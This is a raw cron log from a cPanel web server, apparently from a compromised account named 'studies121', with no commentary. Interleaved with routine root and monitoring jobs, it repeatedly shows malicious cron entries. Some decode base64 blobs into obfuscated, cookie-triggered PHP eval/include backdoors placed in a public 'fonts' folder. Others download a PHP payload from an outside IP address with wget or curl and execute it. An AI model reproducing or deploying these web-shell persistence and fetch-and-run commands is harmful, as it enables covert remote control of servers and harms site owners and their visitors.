Sep 22 11:42:01 ip-184-168-122-23 CROND[1450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:42:01 ip-184-168-122-23 CROND[1449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:42:01 ip-184-168-122-23 CROND[1453]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:42:01 ip-184-168-122-23 CROND[1456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:42:01 ip-184-168-122-23 CROND[1457]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 11:43:01 ip-184-168-122-23 CROND[1614]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:43:01 ip-184-168-122-23 CROND[1613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:43:01 ip-184-168-122-23 CROND[1615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:43:01 ip-184-168-122-23 CROND[1616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:44:01 ip-184-168-122-23 CROND[1750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:44:01 ip-184-168-122-23 CROND[1747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:44:01 ip-184-168-122-23 CROND[1748]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 11:44:01 ip-184-168-122-23 CROND[1749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:44:01 ip-184-168-122-23 CROND[1751]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:45:01 ip-184-168-122-23 CROND[1920]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:45:01 ip-184-168-122-23 CROND[1921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:45:01 ip-184-168-122-23 CROND[1924]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:45:01 ip-184-168-122-23 CROND[1925]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 11:45:01 ip-184-168-122-23 CROND[1927]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 11:45:01 ip-184-168-122-23 CROND[1926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:46:01 ip-184-168-122-23 CROND[2160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:46:01 ip-184-168-122-23 CROND[2161]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 11:46:01 ip-184-168-122-23 CROND[2164]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:46:01 ip-184-168-122-23 CROND[2167]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 11:46:01 ip-184-168-122-23 CROND[2166]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 22 11:46:01 ip-184-168-122-23 CROND[2168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:46:01 ip-184-168-122-23 CROND[2169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:47:01 ip-184-168-122-23 CROND[3369]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:47:01 ip-184-168-122-23 CROND[3368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:47:01 ip-184-168-122-23 CROND[3371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:47:01 ip-184-168-122-23 CROND[3374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:48:01 ip-184-168-122-23 CROND[5045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:48:01 ip-184-168-122-23 CROND[5047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:48:01 ip-184-168-122-23 CROND[5049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:48:01 ip-184-168-122-23 CROND[5048]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 11:48:01 ip-184-168-122-23 CROND[5050]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:49:01 ip-184-168-122-23 CROND[6329]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:49:01 ip-184-168-122-23 CROND[6332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:49:01 ip-184-168-122-23 CROND[6331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:49:01 ip-184-168-122-23 CROND[6333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:50:01 ip-184-168-122-23 CROND[6957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:50:01 ip-184-168-122-23 CROND[6959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:50:01 ip-184-168-122-23 CROND[6960]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 11:50:01 ip-184-168-122-23 CROND[6961]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 11:50:01 ip-184-168-122-23 CROND[6966]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 11:50:01 ip-184-168-122-23 CROND[6969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:50:01 ip-184-168-122-23 CROND[6970]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 11:50:01 ip-184-168-122-23 CROND[6972]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 11:50:01 ip-184-168-122-23 CROND[6977]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:51:01 ip-184-168-122-23 CROND[7634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:51:01 ip-184-168-122-23 CROND[7635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:51:01 ip-184-168-122-23 CROND[7637]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:51:01 ip-184-168-122-23 CROND[7638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:52:01 ip-184-168-122-23 CROND[8307]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:52:01 ip-184-168-122-23 CROND[8310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:52:01 ip-184-168-122-23 CROND[8312]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:52:01 ip-184-168-122-23 CROND[8313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:52:01 ip-184-168-122-23 CROND[8314]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 11:53:01 ip-184-168-122-23 CROND[9015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 11:53:01 ip-184-168-122-23 CROND[9017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 11:53:01 ip-184-168-122-23 CROND[9019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 11:53:01 ip-184-168-122-23 CROND[9020]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 11:54:01 ip-184-168-122-23 CROND[9688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
